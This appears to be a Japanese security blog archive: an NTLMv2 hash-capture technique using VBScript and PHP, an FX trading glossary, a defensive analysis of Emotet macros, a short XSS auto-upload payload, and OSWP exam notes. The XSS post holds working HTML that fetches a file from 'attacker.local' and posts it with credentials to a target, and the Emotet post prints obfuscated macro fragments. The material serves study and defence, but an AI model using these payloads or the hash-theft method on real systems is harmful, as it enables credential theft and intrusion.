NTLMv2 Hashをvbscript + phpで手に入れる
2020年2月あたりのssmjpで、vbscriptで結構頑張れるってことを言いたいがために紹介したツールの解説です. 利用可能なコードは公開していませんのでご承知ください.
※コンセプトさえわかれば、結構な人がパパッと作れる類のものだと思います. 実際にどんな感じのコードになるのか気になる人は絡んでください（かまってちゃんスタイル）
ssmjpの中でも触れましたが、ガチガチの環境（生パスワードが入ってるファイルなんて見つからない、最新のパッチが適用されていて権限昇格可能/横展開可能な脆弱性がない、とかシステム・運用的に堅牢）だと、なかなか攻撃の糸口が見つからずに大変だったりするケースがあります.
※もちろん防御側にとっては非常に望ましい環境です
そんな感じで、HTTP(S)通信を使用したstagerの埋め込みには成功しているものの、管理者権限なし、脆弱性なし、クライアント端末上にめぼしい情報なしでどうしたもんかなーなんて思いつつ、NTLM v2認証の流れをなんとなく眺めている時に思いついた仕組み＆ツールです. 思いついてからおおよそ1時間（+debug time）で作れました.
ちなみにその時眺めていたサイトは以下.
IIS認証NTLMおよびASP.NET偽装によるWebアプリケーションの負荷分散| ゼベネット
NTLM認証がどこまで生き残っているのか正直わからないものの、Responderを使用したMITMによるHash取得が可能なシチュエーションを多く見ているので、NTLM認証の設定はまだまだ有効なんだろうなぁ、という印象があります. BlueTeam側の方にはケーススタディとして参考にしてもらえればと思います.
以下ToC
- そもそもの認証情報窃取について
- 前提
- スクリプトを動かした時の挙動、HashcatでCrackするまで
- NTLMv2 Hashの生成の流れ、およびHTTPにおけるNTLMv2認証プロセスについて
- ドメインに所属していない（攻撃者）サーバで、NTLMv2 Hashを取得するための仕様について
- プログラムの流れ
- 感想・考察
- その他参考
そもそもの認証情報窃取について
Windows環境における認証情報の窃取はいろいろな方法があるので書き切れないですが、大きく分けると以下のような感じだと思います.
- 生パスワードの取得（mimikatz、キーロガー、bat/ps1/txtファイルの中など）
- NTLM Hashの取得（Pass the Hash用）
- NTLMv2 Hash取得によるOfflineパスワード解析（ResponderによるMITM、Redirect to SMBなど）
生パスワードの取得に成功すれば御の字ですが、以下のような感じでなかなかそうはいかない＆見つからない場合調査にかけた時間が無駄になる可能性があります.
- mimikatz
- 権限昇格可能な脆弱性がそもそもない、ツラい
- Responder
- Inveigh.ps1
- MITMでNTLMv1/NTLMv2 Hashを取得できるPowerShellツール
- Port開ける必要があるので管理者権限が必要、ツラい
- Redirect to SMB
まあこのような状況下で少なくともNTLMv2のNTLM Responseは取得できないかを考えていた状況でした.
前提
以下の3つだと考えています. （Group policyの設定で、止められる項目が別にあるかも？）
- WSHが動作すること ※WinHTTPRequest オブジェクトが扱えるものならなんでも良い
- OutboundでHTTP(S)が開いていること
- クライアント端末でNTLM認証が有効になっていること
スクリプトを動かした時の挙動、HashcatでCrackするまで
ユーザ権限でスクリプトを実行した際の挙動を撮ってgifにしています. ※hatenaへのアップロードがこけてめんどくさくなったのでgithubに置いた、反省も後悔もしていない
GitHub - nknskn/Get-NTLMv2: Gif only
NTLMv2 Hashの生成の流れ、およびHTTPにおけるNTLMv2認証プロセスについて
Hash生成
こちらのブログの「Net-NTLMv2認証」を参照してもらうのが良いと思います.
Pass-the-Hashの仕組み - Binary Pulsar
見ていただければわかりますが、NTLMv2 Hashの生成に使用されているのは以下の5要素です.
- パスワード（NTLM hash）
- ユーザが所属しているドメイン名
- ユーザが所属しているドメインにおける、ユーザ名
- Client-issued NTLM Challenge
- Server-issued NTLM Challenge
攻撃者から見た場合、「NTLMv2 Hash」「ドメイン名」「ユーザ名」「Client-issued NTLM Challenge」「Server-issued NTLM Challenge」の5要素、およびパスワード候補の辞書があれば、NTLMv2 Hashを計算・取得したHashに衝突するかどうかを検証することで、パスワードのOffline crackが可能になります.
通常のHTTPにおけるNTLMv2認証プロセス
上記の生成時に使用した情報をサーバとクライアントで共有することで、認証が可能になります. 認証時のステップは以下の通りです.
※図用にリンク再掲
IIS認証NTLMおよびASP.NET偽装によるWebアプリケーションの負荷分散| ゼベネット
文字にするとざっくり以下です.
- クライアント -> サーバ
GET /- コンテンツ見せてー
- サーバ -> クライアント
401 UnauthorizaedWWW-Authenticate: NTLM- NTLMでの認証必須やで
- クライアント -> サーバ
GET /Authorization: NTLM Tl...- NTLMSSP_NEGOTIATE
- 了解、Server Challenge送ってー
- サーバ -> クライアント
- クライアント -> サーバ
- サーバ -> クライアント
200 OK- 認証通ったわ、コンテンツ見せたる
ツール化する上での、上記フローにおける要点は次の２点です.
- サーバは、自分がどのドメインに所属しているかをクライアントに通知する
- クライアントは、サーバから送信されたドメインと対応するユーザ名を基に、NTLM v2 Hashを計算する
- その後、使用したドメイン名、ユーザ名、Client-issued Challenge、NTLMv2 Hashをサーバへ送信する
ドメインに所属していない（攻撃者）サーバで、NTLMv2 Hashを取得するための仕様について
上記の通常時の認証プロセスから、認証プロセス開始前においてサーバ・クライアントがそれぞれ保持している情報は以下のように考えられます.
- サーバ：ドメイン名、Server-issued NTLM Challenge
- クライアント：ドメイン名（サーバからの指定）、ユーザ名、Client-issued NTLM Challenge、NTLMv2 Hash
それに対し、端末に侵入した攻撃者にとっての事前情報は以下のような状態と考えられます.
- サーバ：Server-issued NTLM Challenge
- クライアント：ドメイン名、ユーザ名、Client-issued NTLM Challenge、NTLMv2 Hash
このことから攻撃者は、認証プロセス開始前に攻撃対象のドメイン情報をサーバへ送信しておけば、通常のNTLMv2認証プロセスにおける認証開始前状態と一致し、そのまま認証プロセスを行えると考えられます.
このことから、クライアント側の要件は以下のようになります.
またクライアントはドメイン情報通知のHTTPリクエスト（リクエスト１）を発生させたのち、NTLM認証要求リクエスト（リクエスト２）を送信しますが、サーバ側ではリクエスト１とリクエスト２が同一ユーザであることを識別する必要があります.
したがって、サーバ側の要件は以下となります.
それぞれの要件について、考察していきます.
（クライアント）コンピュータ/ユーザが所属しているドメイン情報を取得可能なこと
Windows APIを利用可能なもの、あるいはwmiを利用可能であれば、容易に取得が可能です. vbscriptであればそれこそggれば秒で見つかるので、ここでは割愛します.
（クライアント）ドメイン情報を用いたNTLM認証をサポートしている、HTTP communicationが可能なこと
一番考えなければならない項目がこれです.
XMLHTTPRequestのようなモジュールを利用した場合、システムに保存されている認証情報を投げてくれるかはわかりません（これは調査してない）. また、認証ダイアログを出すパターンではユーザに怪しまれる可能性が非常に高くなります.
今回の場合、その辺りを解決してくれているのが「WinHttp.WinHttpRequest」オブジェクトです. このオブジェクトは「SetAutoLogonPolicy」メソッドを持っており、値にAutoLogonPolicy_Always（0）が設定された場合は、NTLM認証が要求された際ユーザに認証を求めず、オブジェクトの方でよしなに（システムに保存されている認証情報を参照）してくれるようになっています.
WinHttpRequest object - Win32 apps | Microsoft Docs
IWinHttpRequest::SetAutoLogonPolicy method - Win32 apps | Microsoft Docs
Authentication in WinHTTP - Win32 apps | Microsoft Docs
WinHttpRequestAutoLogonPolicy enumeration - Win32 apps | Microsoft Docs
この仕様を用いてDomain NTLM認証対応なHTTPリクエストを送るスクリプトを書くと、以前書いたブログ（以下）のような感じになります.
Windows認証のHTTPリクエスト（Net-NTLMv2）を送るVBScript（超ヤバイ） - nknskn ネタ置き場
（サーバ）リクエスト１とリクエスト２に対するセッション管理が可能なこと
（サーバ）NTLM情報の要求が可能なこと
この２項目についてはNTLM認証用のバイナリデータ生成をどの言語でどこまで頑張るか、という話で、実現困難性の観点では考えるまでもなく可能で容易（制限もない）ため、割愛します. 作成した際には突貫工事だったため、以下のプログラムをベースに条件分岐や出力などをいじって形にしました.
php-ntlm/ntlm.php at master · loune/php-ntlm · GitHub
プログラムの流れ
クライアント、およびサーバにおける一連の動作を書くと以下になります.
- （クライアント）ドメイン情報をwmiかなにかで取得
- （クライアント）取得した情報をサーバへ送信、HTTP POST 1
- （クライアント）サーバへリソース要求、HTTP GET 2
- （サーバ）NTLM認証要求、HTTP GET 2 - Response
- （クライアント）NTLM認証開始、HTTP GET 3
- （サーバ）POST 1で取得したドメイン情報を基にServer-issued Challengeの返送、HTTP GET 3 - Reponse
- （クライアント）NTLMv2 Hashの送信、HTTP GET 4
- （サーバ）200 OK（なんでもいい）、logging、HTTP GET 4 - Response
上記の通り、事前のドメイン情報送信＋NTLM認証用リクエストの計 4 HTTP Request（POST or GET, GET, GET, GET）でNTLM v2 Hashの取得が可能です.
再掲 GitHub - nknskn/Get-NTLMv2: Gif only
感想・考察
- おそらくですが、BlueTeam側で知識なくこれらのHTTPリクエストを発見するのは非常に困難だと思います. ※Cloudfront経由でもハッシュの取得が可能であることを確認しています.
- 感染した端末上のexe/vbsなどで、これらの組み合わせ（WinHTTPRequest/AutoLogonPolicy_Always）が発見された場合、NTLM v2 hashが窃取されていると想定して、パスワード変更の実施を推奨するのがベターなのかなと. （それ以上の被害が出ているケースがほとんどなんでしょうけど）
- VBScript結構すごい！COM objectしか触れなくてもわりとイケるやん！ -再掲：実際にどんな感じのコードになるのか気になる人は絡んでください（かまってちゃんスタイル）
その他参考
以上
シストレについて考える時に必要なドメイン知識（基本知識）を書き出しとく
FXを行う、かつ今後シストレを始めることを前提としてる人向け（＆自分の知識整理のため）に、現時点で知識として最低限必須と考えている項目について、以下の方針で簡単にまとめておく
- この記事中に出てきたキーワードを利用して、FX取引およびシストレの深掘り検索ができるようにしておく
- FXを実際に行う（デモ・本番どちらでも）際に、どの用語がなにを指しているのか、を事前知識としてある程度知っておく
- 解釈の固定化を避けるため、個人の見解は一切載せない。事実および一般的な定義のみ記載する
- 読み解き方、利用方法などにも触れない、適宜検索してもらう前提とする
※個人が一般的な定義を記載する時点で、記事主のフィルタがかかっていることには了承いただく必要がある
以下ToC
前提：検索用用語
書き出したら意外とあった、一気に全部書くのはしんどいので適宜調べることを推奨する
- 通貨ペア
- 買値（かいね）
- 売値（うりね）
- 建て玉
- 新規注文
- ポジション
- 決済注文
- チャート
- 一般的チャート分析手法
- 証拠金
- 発注可能数量
- 注文数量
- レバレッジ
通貨、通貨ペアについて
- 基本通貨はUSDであり、通貨価値は１ドルに対して現時点でいくらか、が表示されていることが多い
- 通貨ペアにUSDがない場合、証券内部的にはUSDが存在する通貨ペアでを組み合わせて、時価を算出
- 通貨ペアごとに取引量、チャートの変動傾向などが異なる
取引の流れ（USD/JPYを例とする）
- 考え方は、RPGなどのゲームでよくある「交易品で利益を得る」フローと同様
- 建て玉に対して注文・決済を行い、新規注文時、および決済注文時の評価額の差分を以て、損益計算を行う
- 105.500 円時に1000通貨、数量10の新規買い注文を出した（105.150円の毛皮を10個買った）
- 翌日、USD/JPYの価格が変動し、106.000円になった（毛皮の価値が106.000円の国に行った）
- 106.000 円で1000通貨、数量10を決済注文した（毛皮を10個全て売った）
- 差分の0.500 円 * 1000 通貨 * 数量 10 = 5000円儲けた
半自動取引設定について
- 以下の条件に従って取引を行いたい場合、それぞれ対応する注文を事前に設定する
| To do | Order name |
|---|---|
| ○○円まで下がったら買いの新規注文を出す / ○○円まで上がったら売りの新規注文を出す | 指値注文 |
| ○○円まで上がったら買いの新規注文を出す / ○○円まで下がったら売りの新規注文を出す | 逆指値注文 |
| これから出す新規注文に、利益確定の決済注文を出す価格も設定する | IFD注文 |
| これから出す新規注文に、利益確定の決済注文、および損失確定の決済注文を出す価格も設定する | IFO注文 |
テクニカルの例、検索用
シストレについて
ぼくのかんがえたさいきょうのマルウェア感染対策（EmotetのVBAを覗いて、VBAマクロに対する防御を考える）
副題：VBAマクロでInitial Access payloadばっか作ってるヤツが一番相手にしたくないと思う設定
Emotetが（何故か）再流行したみたいですね。
本当になぜ再流行したかイマイチわからず、「そもそもどんな感じで書かれているのか」「検知はそんなに難しいのか」「止める方法ってマクロ無効化とかファイル開かない、みたいなのしかないの？」とかちょっと考えてみたくなったので、知ってる範囲でEmotetを止めるための設定を書いてみました。他にこんな方法もあるよ、とかあればコメントいただけると嬉しいです。コマンド一発でグループポリシーに適用させられるやつだとより大勢の管理者の方が幸せになれる気がします。「この設定ファイルイカしてるからグループポリシーにインポートしてみなよ！」みたいのでも可（血涙）DoDのSTIG良いですよねえ...
以下、TOC
- 最近のマルウェアについてコメント
- 比較的最近のEmotet VBA（2検体）について
- アンチウイルスソフトについてコメント
- Office 365 webでのファイルオープンについて
- マクロの自動実行無効化について
- Powershellの実行制限について
- Officeプログラムからの子プロセス生成を止める
- その他のファイルについて
- 採用した項目一覧
- 所感
- 追記１：Exploit protection bypass
- 追記２：通常操作時のオブジェクト生成について
- 追記３：印刷オプションが利用できない問題について
最近のマルウェアについてコメント
オンメモリでpowershellが実行されるーとかダウンローダを何回も重ねてるーとか、攻撃に使われているマルウェアにはいくつも特徴がありますが、まあ冷静に考えてオンメモリでpayloadを展開＆実行していても結局やってるのはプロセス生成のためのコマンド実行なわけです。要は「最悪このプロセス生成を止めりゃいいんでないの？」という発想です。
Emotetに関して細かいことを言うと、観測範囲内においては以前から最近のものまで全てVBA内にどうにかこうにかpayloadを隠し持たせ、（見づらくしただけっぽい）難読化コードからpowershellを実行するものが多い印象です。ちなみにいくつかのEmotet解析ブログを見たり自分でもEmotetのVBAコードを見たりしましたが、powershell実行時に使用されているのはたいていWin32_Process.Create()のようでした（下記リンクのうち下二つはその辺書いてない）。直近のEmotetについては以下すぐに触れますが、やっぱりWin32_Process.Create()でpowershellを叩くようになってました。
- Emotet (Part 1/3) : PCにどのように感染するか | Bromiumブログ
- [PDF] EMOTET: A TECHNICAL ANALYSIS OF THE DESTRUCTIVE, POLYMORPHIC MALWARE - Bromium
- A Deep Dive into the Emotet Malware
- 流行マルウェア「EMOTET」の内部構造を紐解く | MBSD Blog
- Emotetについて(参考情報) | FireEye Inc
10/5, 2020にあったイエラエ勉強会で話されてた内容知りたい...
比較的最近のEmotet VBA（2検体）について
※専門家の知見のもと安全に十分配慮して（ry
細かいところは省略して、重要だと思ったところだけ載せます。難読化している箇所なんていくらでも変えられるから変えているのであって、そこに注目するのは時間の無駄です。想定している動作をさせる上で変えようがないところを見ていきます。
- 9c6f98f54b5f8b43d3ced2c547a09d7ea30578c696263ad60666ea9e75a22daa
Private Sub _ Document_open() F5rwxzbfuowsqkbdt.Xbq37kxh8w2e End Sub Function Xbq37kxh8w2e() On Error Resume Next '(snip) Jpfgivlyicd99r9 = Array(Y6gqr6abanqlu + "Wyvln5tc5eq37uvul1 Pdetuctodf7fClhqmwed17ab_10rrr Se951ebi5pq", CreateObject(Bqqta6d91epi).Create(Bqf_3mrtgx7xegw45i, Z_qxvnehzwd7iesunu, Whewr2ng_0nf6zf), Qy4p7grrmlokyk0cbt + "Jenkodabwww Wks5jgvvqe737k Lwkcqakg5joom D6615tagrz7r0wjiv") '(snip) End Function '(snip)
- 9140dd246193f4397044dce4c62930cb81b729b3900b10c5e9ecf6778a077648
Private Sub Document_open() Rt055d5md2s7_.Tv2ghyjqs9ofp1 End Sub '(snip) Function Tv2ghyjqs9ofp1() On Error Resume Next '(snip) S_widwqm3orw6j3ur.Create CVar(Fq4_elcsi9j), Uc3rl8girme, Qtx_okh1te1i98 '(snip) End Function '(snip)
どちらの検体もみて分かる通り、マクロ有効時（Document_open）に、プロセスを生成する（.Create）ことがわかります。 その後、メモリ上に展開されたpowershellがダウンローダとして機能して、exeを4-5 URLから取ってこれるか確認して、ダウンロードできたら実行して〜みたいな流れになりますが（メールでの感染拡大はexeでやってる）、このブログでは「そこまで行ったら負け」という考えでいきます。
アンチウイルスソフトについてコメント
で、Anti-Virus software（以降、AV）関連の話に移ると、（細かいところは省きますが）最近のWindows Defenderさん（以降、Defender）は大変にやっか...優秀になっていて、初弾にあたるVBAマクロに「コマンド実行をするための関数」（Wscript.ShellのRunとかExecとかWin32_ProcessのCreateとかCreateRemoteThreadだとか）が含まれていると、「Defenderが有効」かつ「Defenderのクラウド保護機能が有効」な場合（デフォルト設定ではどちらも有効）に、実行前のOfficeファイルごと削除するようになってたりします。
上記のようなEmotetのマクロには見た通り.Create()が入っているので、上記を満たす端末においては、ファイルを開く前にDefenderがそのファイルを削除してくれるはずです（ブログ執筆時は消されてるものの今後はわからない）。
そんなわけで、現時点における個人の印象としては（Defenderに頼っているので）「Emotetなぞ恐るるに足らず。なんでざわざわしてるのかよくわからん」という感じですが、まあEmotetに限らず攻撃者は手を変え品を変え、検知されないようバレないようにやってくるものです。どうやったら作れるんですかねぇ...最近は開発方針が今一つ（ry。そんなわけでAV以外の設定でなんとか止められないかをみてみます。
Office 365 webでのファイルオープンについて
いつぞやにTwitterで呟いた気もしますが、Office 365を利用している場合、Webベース（ブラウザ）でWordやExcelを使用することができます。またそこでdoc等のファイルを開こうとすると互換性エラーが発生して、強制的にdocx等に変換、その後マクロがないファイルを開くことになります。そのため、Webベースでファイルを開くように徹底することでマクロを一切排除できることから、WebベースでOfficeファイルを扱うことは、VBAマルウェアに対して有効な手段と考えられます（あれ？ローカルのOfficeソフトウェアをなくしてしまえば。。。）。
ただし個人でOffice 365買うの？とか、企業でもすぐにOffice 365へ移行できないよ、、、みたいな話は往々にあることだと思います。なので今回はそれ以外の方法で止められないか、というところを引き続きみます。
- 不採用：Office 365 WebでOfficeファイルを開くポリシーにする
マクロの自動実行無効化について
では、マクロを業務で利用することがない場合。そんな時はマクロを止めちゃうのが手っ取り早いでしょう。一番声高に推奨されている方法だと思います。
- 参考：Emotet（エモテット）対策の手順をご紹介！－LanScope Catを活用して対策をやってみた－ | wizLanScope ※MOTEX社の製品を推奨しているわけではありません。「emotet マクロ 無効化」でGoogle検索した際に、Topに出てきたため採用しています。
- 採用：マクロの自動実行完全無効化（レジストリ）
ただし、上記のリンク中にもある通り、自動実行を止めたとしてもユーザがマクロを有効にする可能性は大いにあります。というか、感染するケースはユーザが実行する方が多いと思います。なのでpowershellが実行されることを想定して、そこでブロックできないかを考えてみます。
Powershellの実行制限について
Powershellなど不要ら！という前提で考えてみます。その場合、Powershellのプログラムが実行されること自体を止めることが可能です。具体的には、Active Directoryのグループポリシー、ローカルの場合はローカルセキュリティポリシーからPowershellの実行を禁止します。
- ローカルセキュリティポリシーの設定例
以下のようにフルパスで設定したとしましょう。
その後再起動などをしてコンピュータに反映すれば、以下のような形でpowershellの実行を止めることができます。これで、powershell -enc ...のようなプロセス生成は止めることができます。
それならもうWord.exeからのプロセス生成止められない？Wordで子プロセス生成するケースってどんな場合よ、っていう話があります。
- 不採用：セキュリティポリシーでのPowershell実行禁止
※なお、バイナリファイルの実行をホワイトリストレベルで制限をかける運用を考えている場合、セキュリティポリシーでのブロックは非常に有効な手段になると思います。AppLockerとかAppLocker bypassだとかその辺の話です。興味がある方は調べてみてください。
Officeプログラムからの子プロセス生成を止める
ようやく言いたいところにたどり着きました。Officeから子プロセスを生成する処理というのは、よほどマクロで変態的なことをしない限りないはずです。
以下はWord/Excelに関して、ドキュメントおよびワークブックを複数開いた際に生成されるプロセスおよびそのプロセスツリーを確認した画面です。通常時、子プロセスを生成することはなさそうに思えます（あったら完全に調査不足ですごめんなさい指摘してください）。（→ありました。下部の追記２）
Windows 10からはWindows Defenderへの追加機能として、Exploit Guardというものが実装されています。どんな機能があるのか、という点は以下の記事を参照するのが一番良いと思うので適宜見ていただくとして、ここではそのうち一つの機能である「子プロセスを許可しない」設定に注目します。
攻撃を軽減するために exploit protection を有効にする - Windows security | Microsoft Docs
Exploit Protection のカスタマイズ - Windows security | Microsoft Docs
いろいろggったり資料を見たりするとMS ATPとの組み合わせの記事も多く、「ATPお高いんでしょう？」みたいな印象を持たれがちがもしれませんが、実は（知ってる人は多いかもしれないですけど）Exploit protection自体はATPを導入しなくても普通の市販PCで設定することが可能です。実際に設定して、どう動くのか確認してみます。
Windows セキュリティ > アプリ＆ブラウザコントロール > Exploit protection settings（最下部）
プログラム設定 > プログラム名を追加
タスクマネージャ（とかtasklist）からWordやExcel等Officeソフトの正式プログラム名を確認しておきます（なぜ統一感がないのか）。
- excel.exe
- winword.exe
それぞれに対し、以下のような感じで「子プロセスの生成を許可しない」設定にし、適用します。設定後、Word、Excelは再起動します（not コンピュータ）。
それでは以下のようなサンプルマクロを書いて、実行してみます。
※ここでは動作確認のためWordにブロック設定、Excelにはブロックしない設定にしています。
Private Sub Test() 'On Error Resume Next CreateObject("WScript.Shell").Run "cmd.exe" CreateObject("WScript.Shell").Exec "powershell.exe" e = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("notepad.exe", null, null, intProcessID) End Function
Excelで実行、cmd, powershell, notepadが動いていることが確認できます。
Wordで実行
- Runがめでたく死亡
- Execも同様に死亡
※.Createの部分はOn Error Resume Nextをなくした状態でエラー出力なし、ただしプロセスも起動しないため画面キャプチャはなし。気になった方は試してみてください。
- 採用：Exploit ProtectionによるOfficeファイルからの子プロセス生成停止
その他のファイルについて
攻撃者は他にもWSH（.js, .vbs）やらexeやらを送ることでどうにかこうにか端末を感染させようと試みたりしますが、その辺に関してはまた別のポリシー設定であったり、外から送られてきたexe実行するの？みたいな話があったりしてまた長くなるので以下省略
採用した項目一覧
上記の内容から以下の項目を採用しました。これでEmotetのようなVBAマルウェアは、プロセス生成までの流れのどこかしらでシステム的にも止められるはずです。
- Windows Defender（クラウド保護有効）によるプロセス生成系マクロを含むOfficeファイルの削除
- マクロの自動実行完全無効化（レジストリ）
- Exploit ProtectionによるOfficeファイルからの子プロセス生成停止
今回不採用だったけど手としてはアリだと思う項目
- Office 365 WebでOfficeファイルを開くポリシーにする
- セキュリティポリシーでのPowershell実行禁止
所感
- これで取り合えずマクロを開いて即感染！みたいなことは防げると思われ
- 正直最後のExploit protectionだけ有効にすればいいんじゃないかな、みたいな話はありますが、Officeファイル以外からの攻撃手法もあるので複合的に守っていきましょう
- あれ？Windows Defenderここまで強くなってたの？
- 侵入後の話でZerologonとかありますけど、どうやって打ち込むところまで辿り着くんでしょうね
追記１：Exploit protection bypass
Twitterで以下のコメントをいただきました。
今のEmotetドロッパーにはExploit Guardが有効なんですねー
— しゅーと (@shutingrz) 2020年10月8日
ただDCOM使うパターン使われるとこんな感じにバイパスされる気はします(explorer.exeの子プロセスになるため) https://t.co/nwGa3x7KdZ pic.twitter.com/y5M0r7dZpN
全くその通りで、特定のプログラムからのプロセス生成が止められるなら、それ以外のプログラムから実行すりゃええやんって話です。これでExploit protection bypassは可能です（ババーン）
ただし今回の設定においては以下が有効であるため、残念ながらこの.shellexecute入りのマクロ付きOfficeファイルは、クラウド保護機能によって消される、もしくはAMSIによってマクロの実行が止められる結果になります。
AMSIによってマクロの実行が止められる場合、AMSI bypassテクニックを使うことで検知回避が部分的に可能ですが、bypassテクニックのほとんどはamsiScanBufferに対してアクションを起こすもので、クラウド保護もまるごと回避できるものは寡聞にして知りません。
ここらへんいじくってbypassできれば楽なんだけど誰かブログに書いてくれたりしないかな。日本じゃ無理なのか？
そんなわけで今コメントいただいている方法では、まだ上記の設定でプロセス生成までの流れの中で止めることが可能です。
追記２：通常操作時のオブジェクト生成について
Twitterで通常使用時に関して以下の指摘をいただきました。
なるほどなぁ。
— 渡来 夢吉 (@try_ymk) 2020年10月8日
ところで。例えばWordにEXCELのオブジェクト埋め込んで、ダブルクリックで編集する時って、チャイルドプロセス起こしてる気がします。
良く知らないけど。 https://t.co/mBRsVrMOsU
あー、これは確かにそうかも、と思ったので簡単に調べてみました。 結論としては、「すでにExcelが起動している場合には新規オブジェクトの埋め込みも既存オブジェクトの編集もできる、Excelが起動していない場合はExcelの起動に失敗してオブジェクトの埋め込み・編集ができない」です。
オブジェクト埋め込み時の挙動をProcess Monitorで見てみるとこんな感じです。
- Excelが起動しており、オブジェクト埋め込みに成功したパターン、上記のログののち、Threadに関するログが出てくる
起動しているオブジェクトと通信してなんやかんやうまくやってるんだろうなーと推測。
うーん、これは普段使いとしてどうなんだろうか。Excelをバックグラウンドプロセスとして常時動かすようにしておけば特に意識しなくてよさそうだけど、メモリ食われて操作性が悪くなる気がする。
追記３：印刷オプションが利用できない問題について
ブログの下部にてコメントいただきました。
VM上かつ「Microsoft Print to PDF」で検証したときには問題なくPDFを作成できていたため、完全に見落としていました。実端末で確認したところ、プリンタオプションを使用する際に以下のように「splwow64.exe」を生成して、印刷系の操作を行うようでした。プリンタドライバが追加されたら実行されるようにでもなってるんでしょうか。
図は実端末上でProcess Hackerを使用してプロセスツリーを確認した際のものです。
コメントでも返しましたが、ファイル＞印刷オプションのすべてが使えなくなるようで、印刷の代替案としては「エクスポート」機能を利用してPDFを作成し、PDFビューアから印刷を行うしかなさそうでした。
Wordでの印刷を前提にしたレイアウトの場合はレイアウト崩れが気になるケースがありそう、かつ正直めんどくさいのでExploit Protection優先は微妙かもしれませんね。
Exploit Protection bypass（追記１）をDefenderのクラウド保護で止めた時点で、クラウド保護有効だけでいいのでは、ということに気が付いた人がいるかもしれませんが、まあ次善策ということで引き続き検討したいと思います（善？）
- 10/8 AM, 2020: 誤字脱字修正, 「今回不採用だったけど手としてはアリだと思う項目」を追加
- 10/8 PM, 2020: 追記１
- 10/9 AM, 2020: 追記２
- 10/9 PM, 2020: 追記３
以上
ファイルを自動アップロードをするxhr - XSS系小ネタ
XSS系の小ネタ、multipart + ファイルアップロードの箇所にReflected XSSがあるような場合のためのhtml
補足
- ファイルコンテンツにスクリプトが含まれていると発火するケース
- ファイル横流しでのアップロード
- ちなみにダウンロードファイルはクライアント上にキャッシュされる。もしかしたらそこから何かしらできるかもできないかも（わからない）
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Auto File Upload</title> </head> <body> <script> let xhr= new XMLHttpRequest(); xhr.withCredentials = true; // Get malicious file xhr.open('GET', 'http://attacker.local/hogehoge.csv', true); xhr.responseType = 'blob'; xhr.send(); xhr.onload = () => { let blob = xhr.response; let fd = new FormData(); fd.append('param1', 'value1'); fd.append('upload', blob, 'hogehoge.csv'); xhr.open('POST', 'http://target.site/target_uri', true); xhr.send(fd); }; </script> </body> </html>
シストレに関する雑記2
動かし続けてる売買シグナルアルゴリズムを基に、シグナルに関する考察
採用しているサービス、技術について
動かしてるアルゴリズムについてざっくり
- SMAベース
- 複数足に対してSMAを算出し、採用足でのクロスを一次シグナルとして検知
- 一次クロス検知時に他の足がどんな状態かを分析、良さそうなシグナルの場合を二次シグナルとする
- 二次シグナルに対し、避けるべき売買タイミングであるかどうかを確認、マッチしなければ最終シグナルとしてlogging＆LINEに通知
- 考え方
- Dailyで一定のpips（開始時総資産に対する1%）を狙う→SMAで採用する足は、Dailyでのポジション確認に使用できそうな足に限定
- 短い足（1m,3m, ..., 体感的には15mまでの足）のみを考慮した場合に大きな流れを汲むことができない、長い足（4h, 1day, 1week）のみを参照した場合に波の切り替わりタイミングを逃す可能性がある、などが考えられるため、データを俯瞰的に捉えられるアルゴリズムであれば値の流れを組むものができそう. イメージは下図の監視(https://fx.minkabu.jp/chart, みんかぶ)
- 波形分析系のアルゴリズムにいいものがあったりするんだろうか、詳しくないので要調査
途中経過
- ちゃんと追う＆考察し始めてからはそんなに日は経ってないものの悪くなさそうな感じ
- Daily +5.0pipsぐらいはいきそうに見える
- 明確なダマシは二次シグナル時点で落とせているものの、くぐり抜けてしまっているものはある
- 他のテクニカルチャートと組み合わせたり、三次シグナル条件ぐらいつけてもいいかもしれない
要深掘り＆経過観察
OSWPとWireless hackに関してちょっと書いとく
Wireless hackingについて一般的な話
- 認証方式はよく知られている通り大まかに以下の3種があるが、OSWP(WiFu)で扱われるのは以下のうち★をつけた部分(Official)
- WEP★
- WPA/WPA2★
- PSK★
- EAP
- WPA3
- WPA3に関してはWPA2に比べると新しい規格なこともあって、汎用的な攻撃手法はまだ確立していない模様
- そもそもWPA2時点で鍵生成時のメカニズムに対する攻撃とかは潰されているので、とんでもないうっかりが発見されない限りWPA2と同様の攻撃しかないと思われる（個人的見解）
- WPA2に関しては上で触れた通り脆弱性を利用した攻撃手法は現時点で見つけられておらず、PSKであればクライアントに対するDeauthからの認証パケットキャプチャ＆Offline crack、EAPで認証情報を投げるパターンであればeaphammerを使って情報を抜く（アクセスできるようになるとは言ってない）、ぐらいしかない
- WEPに関しては攻撃することで鍵回復までできる
- aircrack-ngにまとまってる
OSWP examの話
- 参考：【OSWP取得奮闘記】無線LANセキュリティ資格を攻略してみた！｜株式会社ユービーセキュアのストーリー・ナラティブ｜PR TIMES STORY
- 4時間中1時間半で攻略、残りの2時間半で再現性・手順の確認＆報告書作成＆レビューをやって、終了後すぐにsubmitした
- 特にトラブルもなかったので言えることなし
- 仕組みを理解していること、コマンドを打ち慣れておくことが一番重要、途中ミスっても焦らずに対応できるので
OSWP exam準備の話
- 検証対象の認証方式
- 資格取得だけ考えるなら、WiFuのドキュメント通りWEP・WPA/WPA2-PSKをやればよい
- RedTeamとかWireless assessmentだとかのサービス提供を考えていて、その過程でOSWPを受けるならWPA2-EAPに対応している機器を購入した方がいい
- 今の時代WEPを使ってるところなんてそうそうない、あと最近の機器はそもそもWEPを設定できなくなってる、新しく機器を購入する場合は対応認証方式をよく確認しておくこと
- aircrack-ng関連のコマンドを打ち慣れておくこと
- 検証環境の構築が一番めんどくさい、特にEAP
- Projectのサイトにコマンド例があるのでOSWPの申し込み前に一通り試し打ちしておくと非常に良い
- 事前準備：私の場合は実質3日ぐらい、あとはドキュメントを流し見て知らないとこがあったら腰据えて読む感じ
- 環境構築1日、コマンド検証＆手順作成1日、報告書テンプレート作成1日
- 1-2時間使って一通りのコマンドジェネレータを用意しておけばよかったと後悔してる
所感
- 準備のところでもちょっと触れてるが、実用性って点で考えると取る意ゲフンゲフン
- 無線回りのお勉強だとか、暗号学的な観点で鍵生成アルゴリズム考えてみるとか、普段触れる機会が少ないところであれば良い気分転換になると思う
以上
VBScriptでDoHを使った話 - DNSクエリ作ってdns\.googleにバイナリデータをPOSTする
タイトルが全て. 見た方が早いので能書きなし
Sample code
